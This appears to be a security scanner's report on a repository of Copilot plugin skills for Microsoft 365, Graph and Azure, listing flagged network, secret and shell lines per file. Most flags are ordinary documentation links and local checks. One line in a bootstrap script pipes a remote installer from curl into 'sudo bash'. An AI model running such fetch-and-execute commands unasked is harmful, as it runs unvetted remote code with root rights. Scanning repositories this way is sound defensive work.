| --- | --- | --- | --- | | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 | | Jira MCP Server | `https://your-domain.atlassian.net/mcp/` | `search_issues`, `cr - Network accessline 96
| GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 | - Network accessline 97
| Jira MCP Server | `https://your-domain.atlassian.net/mcp/` | `search_issues`, `create_issue`, `update_issue` | OAuth 2.0 | - Network accessline 98
| Custom Service | `https://{api-host}/mcp/` | Custom tools exposed by your service | OAuth 2.0 or SSO | - Network accessline 140
- Provisioning: pass | not run | blocked - Local debug/sideload: pass | not run | blocked - Microsoft 365 Copilot test at `https://m365.cloud.microsoft/chat`: pass | not run | blocked - Network accessline 142
- Microsoft 365 Copilot test at `https://m365.cloud.microsoft/chat`: pass | not run | blocked - Access to secretsline 151
[Credential-related source omitted] - Network accessline 157
- [Microsoft Teams manifest schema](https://developer.microsoft.com/json-schemas/teams/vDevPreview/MicrosoftTeams.schema.json) - Network accessline 158
- [Declarative agent schema](https://aka.ms/json-schemas/copilot/declarative-agent/v1.0/schema.json) - Network accessline 159
- [Microsoft 365 Copilot chat](https://m365.cloud.microsoft/chat)
harness/github-copilot/plugins/mcp-m365-copilot/skills/mcp-deploy-manage-agents/SKILL.md
- Network accessline 21
- Access the Microsoft 365 admin center at https://admin.microsoft.com/ for tenant agent registry, availability, deployment, blocking, and assignment. - Network accessline 22
- Use the Power Platform admin center at https://admin.powerplatform.microsoft.com/ when the agent is an App Builder agent, Workflows agent, agent studio agent, or flow-backed agent. - Network accessline 23
- Use Partner Center at https://learn.microsoft.com/en-us/partner-center/ only for public Agent Store submission and validation. - Network accessline 135
- [Microsoft 365 admin center](https://admin.microsoft.com/) - Network accessline 136
- [Power Platform admin center](https://admin.powerplatform.microsoft.com/) - Network accessline 137
- [Partner Center for agent submissions](https://learn.microsoft.com/en-us/partner-center/) - Network accessline 138
- [Microsoft Agent 365 Overview](https://learn.microsoft.com/en-us/microsoft-agent-365/overview) - Network accessline 139
- [Agent Registry Documentation](https://learn.microsoft.com/en-us/microsoft-365/admin/manage/agent-registry)
harness/github-copilot/plugins/microsoft-365-data-platform/skills/msgraph-sdk/SKILL.md
- Network accessline 70
| Resource data notifications | High-volume scenarios need changed resource payloads. | Requires additional encryption setup. | | Retry middleware | Production workloads may hit 429. | Enable SDK retry middleware or implement exact `Retry-A - Network accessline 72
| Least privilege | Avoid broad permissions. | Use https://learn.microsoft.com/graph/permissions-reference and admin consent only when required. | - Network accessline 147
- [Microsoft Graph overview](https://learn.microsoft.com/graph/overview) - Network accessline 148
- [Graph Explorer](https://developer.microsoft.com/graph/graph-explorer) - Network accessline 149
- [Graph permissions reference](https://learn.microsoft.com/graph/permissions-reference)
harness/github-copilot/plugins/microsoft-365-data-platform/skills/msgraph-sdk/references/dotnet.md
- Network accessline 7
- SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-dotnet> - Network accessline 8
- Samples: <https://github.com/microsoftgraph/msgraph-training-dotnet> - Network accessline 9
- SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-dotnet/blob/main/CHANGELOG.md> - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted]
harness/github-copilot/plugins/microsoft-365-data-platform/skills/msgraph-sdk/references/python.md
- Network accessline 7
- SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-python> - Network accessline 8
- Samples: <https://github.com/microsoftgraph/msgraph-training-python> - Network accessline 9
- SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-python/blob/main/CHANGELOG.md> - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Network accessline 210
[Credential-related source omitted] - Network accessline 211
[Credential-related source omitted] - Network accessline 212
async with httpx.AsyncClient() as client: - Network accessline 213
[Credential-related source omitted] - Network accessline 214
"https://graph.microsoft.com/v1.0/$batch",
harness/github-copilot/plugins/microsoft-365-data-platform/skills/msgraph-sdk/references/typescript.md
- Network accessline 7
- SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-javascript> - Network accessline 8
- Samples: <https://github.com/microsoftgraph/msgraph-training-typescript> - Network accessline 9
- SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-javascript/blob/main/CHANGELOG.md> - Network accessline 33
const credential = new DefaultAzureCredential(); const authProvider = new TokenCredentialAuthenticationProvider(credential, { scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Network accessline 34
const authProvider = new TokenCredentialAuthenticationProvider(credential, { scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], }); - Network accessline 35
scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Access to secretsline 49
[Credential-related source omitted] - Network accessline 52
const authProvider = new TokenCredentialAuthenticationProvider(credential, { scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Network accessline 53
scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Access to secretsline 68
[Credential-related source omitted] - Network accessline 72
const authProvider = new TokenCredentialAuthenticationProvider(credential, { scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Network accessline 73
scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Network accessline 88
// Opens a browser tab — requires redirect URI http://localhost in app registration
harness/github-copilot/plugins/napkin/skills/napkin/assets/step1-activate.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="460" viewBox="0 0 800 460">
harness/github-copilot/plugins/napkin/skills/napkin/assets/step2-whiteboard.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">
harness/github-copilot/plugins/napkin/skills/napkin/assets/step3-draw.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">
harness/github-copilot/plugins/napkin/skills/napkin/assets/step4-share.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">
harness/github-copilot/plugins/napkin/skills/napkin/assets/step5-response.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">
harness/github-copilot/plugins/noob-mode/skills/noob-mode/references/examples.md
harness/github-copilot/plugins/noob-mode/skills/noob-mode/references/glossary.md
- Network accessline 252
**Plain English:** A web address. The text you type in a browser's address bar. **Analogy:** A street address, but for websites. **Example in context:** "`https://github.com/settings`" = "The settings page on GitHub's website." - Network accessline 254
**Example in context:** "`https://github.com/settings`" = "The settings page on GitHub's website." - Network accessline 280
**Plain English:** A way of referring to your own computer as if it were a web server. Used for testing. **Analogy:** Rehearsing a presentation in your own office before giving it in the conference room. **Example in context:** "`http://loc - Network accessline 282
**Example in context:** "`http://localhost:3000`" = "A website running on your own computer, on channel 3000."
harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/SKILL.md
- Network accessline 65
- [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/) - Network accessline 66
- [Azure Well-Architected for AI workloads](https://learn.microsoft.com/azure/well-architected/ai/) - Network accessline 67
- [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) - Network accessline 68
- [Model Context Protocol](https://modelcontextprotocol.io/) - Network accessline 69
- [GitHub Models](https://docs.github.com/github-models)
harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/caching.md
- Network accessline 46
- [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy) - Network accessline 47
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/) - Network accessline 48
- [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/)
harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/context-curation.md
- Network accessline 47
- [Retrieval augmented generation on Azure AI Search](https://learn.microsoft.com/azure/search/retrieval-augmented-generation-overview) - Network accessline 48
- [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/) - Network accessline 49
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)
harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/evaluation-observability-cost.md
- Network accessline 35
- [Azure AI Foundry evaluation](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai) - Network accessline 36
- [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) - Network accessline 37
- [Monitor generative AI applications](https://learn.microsoft.com/azure/ai-foundry/how-to/monitor-applications) - Network accessline 38
- [Azure Well-Architected cost optimization](https://learn.microsoft.com/azure/well-architected/cost-optimization/)
harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/guardrails-and-identity.md
- Network accessline 36
- [Microsoft Entra Agent ID](https://learn.microsoft.com/entra/) - Network accessline 37
- [Azure AI Content Safety](https://learn.microsoft.com/azure/ai-services/content-safety/) - Network accessline 38
- [Prompt Shields](https://learn.microsoft.com/azure/ai-services/content-safety/concepts/jailbreak-detection) - Network accessline 39
- [Azure Well-Architected security for AI](https://learn.microsoft.com/azure/well-architected/ai/)
harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/memory.md
harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/model-routing.md
harness/github-copilot/plugins/open-horizons-platform/skills/azure-agentic-architecture-patterns/references/tools-and-mcp.md
harness/github-copilot/plugins/open-horizons-platform/skills/azure-api-center/SKILL.md
- Network accessline 123
- [Azure API Center](https://learn.microsoft.com/azure/api-center/) - Network accessline 124
- [Register APIs in API Center](https://learn.microsoft.com/azure/api-center/register-apis) - Network accessline 125
- [API governance and linting](https://learn.microsoft.com/azure/api-center/enable-api-analysis-linting) - Network accessline 126
- [API Center and API Management](https://learn.microsoft.com/azure/api-center/)
harness/github-copilot/plugins/open-horizons-platform/skills/azure-apim-ai-gateway/SKILL.md
- Network accessline 130
- [Azure API Management AI gateway capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities) - Network accessline 131
- [Token limit policy](https://learn.microsoft.com/azure/api-management/llm-token-limit-policy) - Network accessline 132
- [Semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy) - Network accessline 133
- [Load balancing and circuit breaker for backends](https://learn.microsoft.com/azure/api-management/backends)
harness/github-copilot/plugins/open-horizons-platform/skills/azure-appinsights-instrumentation/references/AUTO.md
- Network accessline 3
Use Azure Portal to auto-instrument a webapp hosted in Azure App Service for App Insights without making any code changes. Only the following types of app can be auto-instrumented. See [supported environments and resource providers](https:/ - Network accessline 10
https://portal.azure.com/#resource/subscriptions/{subscription_id}/resourceGroups/{resource_group_name}/providers/Microsoft.Web/sites/{app_service_name}/monitoringSettings
harness/github-copilot/plugins/open-horizons-platform/skills/azure-appinsights-instrumentation/scripts/appinsights.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/open-horizons-platform/skills/azure-argocd-cli/references/commands.md
- Network accessline 7
# Add ArgoCD Helm repo helm repo add argo https://argoproj.github.io/argo-helm - Network accessline 8
helm repo add argo https://argoproj.github.io/argo-helm - Network accessline 40
# Or add via CLI argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \ - Network accessline 41
argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \
harness/github-copilot/plugins/open-horizons-platform/skills/azure-cli/scripts/setup-identity-federation.sh
- Executable scriptline 1
#!/bin/bash - Dangerous shell operationline 202
trap "rm -f '$tmp'" RETURN - Network accessline 206
{ "name": "${name}", "issuer": "https://token.actions.githubusercontent.com", - Network accessline 207
"name": "${name}", "issuer": "https://token.actions.githubusercontent.com", "audiences": ["api://AzureADTokenExchange"], - Network accessline 208
"issuer": "https://token.actions.githubusercontent.com", - Network accessline 219
{ "name": "${name}", "issuer": "https://token.actions.githubusercontent.com", - Network accessline 220
"name": "${name}", "issuer": "https://token.actions.githubusercontent.com", "subject": "${subject}", - Network accessline 221
"issuer": "https://token.actions.githubusercontent.com",
harness/github-copilot/plugins/open-horizons-platform/skills/azure-cost-optimize/SKILL.md
harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/references/diagram-quality-standard.md
- Network accessline 5
Verification date: 2026-08-25. Primary source: [Create architecture design diagrams](https://learn.microsoft.com/en-us/azure/well-architected/architect-role/design-diagrams).
harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/references/drawio-xml-schema.md
- Network accessline 133
iconProvider="azure" iconProduct="Azure Key Vault" iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/" - Network accessline 134
iconProduct="Azure Key Vault" iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/" iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/" - Network accessline 135
iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/" - Network accessline 136
iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/"
harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/references/official-icon-policy.md
- Network accessline 20
| Family | Official source | Permitted diagram use and constraints | | --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distribu - Network accessline 21
| --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, tra - Network accessline 22
| Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, training materials, or - Network accessline 23
| Microsoft Entra | [Microsoft Entra architecture icons](https://learn.microsoft.com/en-us/entra/architecture/architecture-icons) | Same architecture, training, and documentation permission. Do not use the architecture icons in marketing co - Network accessline 24
| Microsoft Fabric | [Microsoft Fabric icons](https://learn.microsoft.com/en-us/fabric/fundamentals/icons) | Use product, experience, and item icons in diagrams, slide decks, training, or documentation without altering them. Label the exact - Network accessline 25
| Power Platform | [Microsoft Power Platform icons](https://learn.microsoft.com/en-us/power-platform/guidance/icons) | Use in architecture diagrams, training materials, or documentation. Preserve the icons and use them only for the represen - Network accessline 26
| Dynamics 365 | [Microsoft Dynamics 365 icons](https://learn.microsoft.com/en-us/dynamics365/get-started/icons) | Use in architecture diagrams, training materials, or documentation. Do not use removed or deprecated app icons from older pac - Network accessline 27
| Microsoft 365 | [Microsoft 365 architecture icons and templates](https://learn.microsoft.com/en-us/previous-versions/microsoft-365/solutions/architecture-icons-templates) | The first-party page is archived and retired. Treat it as a fallb - Network accessline 28
| General Microsoft brand assets | [Microsoft Trademark and Brand Guidelines](https://www.microsoft.com/en-us/legal/intellectualproperty/trademarks) | Many logos, app icons, and product icons require a license. Product-family architecture t - Network accessline 29
| GitHub interface concepts | [GitHub Primer Octicons](https://github.com/primer/octicons) | Octicons are GitHub-built SVG interface icons and the repository code license is MIT. Use them for covered interface or workflow concepts, not as s - Network accessline 30
| GitHub logos and product lockups | [GitHub brand logo guidance](https://brand.github.com/foundations/logo) | Use only in permitted contexts, with high contrast and secondary placement. Do not imply affiliation, use a GitHub mark as the us - Network accessline 31
| GitHub Copilot | [GitHub Copilot brand guidance](https://brand.github.com/brand-identity/copilot) | Use current product lockups only when the use is permitted. The former standalone GitHub Copilot logo has been deprecated since 2025; do n
harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/.gitignore
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/README.md
- Network accessline 61
python scripts/add-icon.py docs/architecture.drawio ./icons/key-vault.svg "Azure Key Vault" 320 180 --provider azure --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ - Network accessline 62
"Azure Key Vault" 320 180 \ --provider azure \ --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ - Network accessline 63
--provider azure \ --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ --terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ - Network accessline 64
--source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ - Network accessline 65
--terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/add-icon.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/add-shape.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/open-horizons-platform/skills/azure-draw-io-diagram-generator/scripts/validate-drawio.py
harness/github-copilot/plugins/open-horizons-platform/skills/azure-entra-agent-user/SKILL.md
- Network accessline 103
- [Microsoft Entra Agent ID documentation](https://learn.microsoft.com/entra/agent-id/)
harness/github-copilot/plugins/open-horizons-platform/skills/azure-import-infrastructure-as-code/SKILL.md
harness/github-copilot/plugins/open-horizons-platform/skills/azure-infrastructure/scripts/bootstrap.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 154
echo "Install missing tools:" echo " terraform: brew install terraform" echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 155
echo " terraform: brew install terraform" echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" echo " kubectl: az aks install-cli" - Dangerous shell operationline 156
echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 156
echo " azure-cli: curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" - Network accessline 309
CLUSTER_NAME=$(terraform output -raw kubernetes_cluster_name) ACR_NAME=$(terraform output -raw acr_login_server | cut -d'.' -f1) KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1) - Network accessline 311
KEY_VAULT=$(terraform output -raw key_vault_uri | sed 's|https://||' | cut -d'.' -f1) - Network accessline 364
log_step "Installing ArgoCD..." kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml - Network accessline 365
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/ha/install.yaml
harness/github-copilot/plugins/open-horizons-platform/skills/azure-infrastructure/scripts/platform-bootstrap.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 536
echo "Access URLs:" echo " ArgoCD: https://${argocd_url}" - Network accessline 537
echo " ArgoCD: https://${argocd_url}" - Network accessline 538
echo " Backstage: https://${backstage_url}" - Network accessline 539
echo " Grafana: https://${grafana_url}" - Dangerous shell operationline 591
rm -f "$CHECKPOINT_FILE"
harness/github-copilot/plugins/open-horizons-platform/skills/azure-managed-redis-cache/references/access-and-network.md
- Network accessline 32
- [Authenticate to Azure Managed Redis with Microsoft Entra ID](https://learn.microsoft.com/azure/redis/entra-for-authentication) - Network accessline 33
- [Azure Managed Redis network isolation](https://learn.microsoft.com/azure/redis/) - Network accessline 34
- [DefaultAzureCredential](https://learn.microsoft.com/azure/developer/intro/azure-developer-create-resources)
harness/github-copilot/plugins/open-horizons-platform/skills/azure-managed-redis-cache/references/semantic-cache.md
- Network accessline 39
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search) - Network accessline 40
- [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/user_guide/llmcache/) - Network accessline 41
- [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
harness/github-copilot/plugins/open-horizons-platform/skills/azure-managed-redis-cache/references/session-store.md
harness/github-copilot/plugins/open-horizons-platform/skills/azure-managed-redis-cache/references/vector-memory.md
- Network accessline 32
- [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search) - Network accessline 33
- [RedisVL vector queries](https://redis.io/docs/latest/integrate/redisvl/) - Network accessline 34
- [Azure AI Search vector search](https://learn.microsoft.com/azure/search/vector-search-overview)
harness/github-copilot/plugins/open-horizons-platform/skills/azure-observability-stack/SKILL.md
- Network accessline 31
# Add Helm repos helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 32
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts - Network accessline 79
# Check Prometheus targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 80
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 83
[Credential-related source omitted] - Network accessline 85
curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name' - Network accessline 98
# Query Prometheus API curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result' - Network accessline 99
curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result' - Network accessline 101
# Check targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 102
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length' - Network accessline 114
[Credential-related source omitted] - Network accessline 116
curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name' - Network accessline 124
# List active alerts curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname' - Network accessline 125
curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'
harness/github-copilot/plugins/open-horizons-platform/skills/azure-observability-stack/references/troubleshooting.md
- Network accessline 14
# Check for scrape errors curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}' - Network accessline 15
curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'
harness/github-copilot/plugins/open-horizons-platform/skills/azure-pricing/SKILL.md
- Network accessline 35
GET https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview - Network accessline 38
Append `$filter` with OData syntax. Keep `api-version=2023-01-01-preview` because savings plan data appears in that version. URL-encode spaces as `%20` and quotes as `%27` when constructing a full URL such as `https://prices.azure.com/api/r - Network accessline 107
| URL | Content | | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | - Network accessline 108
| --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billi - Network accessline 109
| https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | - Network accessline 110
| https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing | Licensing options, M365 Copilot inclusions, prepaid and pay-as-you-go context. | - Network accessline 196
- [Azure Retail Prices API](https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview) - Network accessline 197
- [Copilot Studio requirements, messages, and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 198
- [Copilot Studio billing and licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)
harness/github-copilot/plugins/open-horizons-platform/skills/azure-pricing/references/COPILOT-STUDIO-RATES.md
- Network accessline 3
> Source: [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 4
> Estimator: [Microsoft agent usage estimator](https://microsoft.github.io/copilot-studio-estimator/) - Network accessline 5
> Licensing Guide: [Copilot Studio Licensing Guide](https://go.microsoft.com/fwlink/?linkid=2320995) - Network accessline 133
- [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 134
- [Copilot Studio licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing) - Network accessline 135
- [Copilot Studio Licensing Guide (PDF)](https://go.microsoft.com/fwlink/?linkid=2320995)
harness/github-copilot/plugins/open-horizons-platform/skills/azure-well-architected-review/SKILL.md
- Network accessline 95
- [Azure Well-Architected Framework](https://learn.microsoft.com/azure/well-architected/)
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-app-frontend-system-migration/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-app-frontend-system-migration/references/upstream/SKILL.md
- Network accessline 648
- [App migration guide](https://backstage.io/docs/frontend-system/building-apps/migrating) - Network accessline 649
- [Architecture overview](https://backstage.io/docs/frontend-system/architecture/index) - Network accessline 650
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 651
- [Installing plugins](https://backstage.io/docs/frontend-system/building-apps/installing-plugins)
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-mui-to-bui-migration/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-mui-to-bui-migration/references/upstream/SKILL.md
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-onboard-to-openapi-server/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-onboard-to-openapi-server/references/upstream/SKILL.md
- Network accessline 76
- [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) — small, modern reference. - Network accessline 77
- [`plugins/scaffolder-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/schema/openapi.yaml) — larger, with more parameter and schema reuse. - Network accessline 78
- [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) — largest, good for query-param-heavy endpoints. - Network accessline 145
[`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) is the canonical example. - Network accessline 178
[`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) is a reference for what a client output looks like. - Network accessline 202
[`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) and [`plugins/catalog-backend/src/service/createRouter.test.ts`](https://git - Network accessline 216
These all live in [`backstage/backstage`](https://github.com/backstage/backstage); the user's workspace likely doesn't contain them. Browse via the links below. - Network accessline 218
| What you need | Where to read | | ---------- - Network accessline 219
| ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Spec examp - Network accessline 220
| Spec example (small) | [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) | - Network accessline 221
| Spec example (large) | [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) | - Network accessline 222
| Router using `createOpenApiRouter` | [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) | - Network accessline 223
| Test using `wrapServer` | [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) | - Network accessline 224
| Generate command source | [`packages/repo-tools/src/commands/package/schema/openapi/generate/`](https://github.com/backstage/backstage/tree/master/packages/repo-tools/src/commands/package/schema/openapi/generate) | - Network accessline 225
| Spec lint command source | [`packages/repo-tools/src/commands/repo/schema/openapi/lint.ts`](https://github.com/backstage/backstage/blob/master/packages/repo-tools/src/commands/repo/schema/openapi/lint.ts) | - Network accessline 226
| `wrapServer` implementation | [`packages/backend-openapi-utils/src/testUtils.ts`](https://github.com/backstage/backstage/blob/master/packages/backend-openapi-utils/src/testUtils.ts) | - Network accessline 227
| Client output reference | [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) |
harness/github-copilot/plugins/open-horizons-platform/skills/backstage-plugin-analytics-instrumentation/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
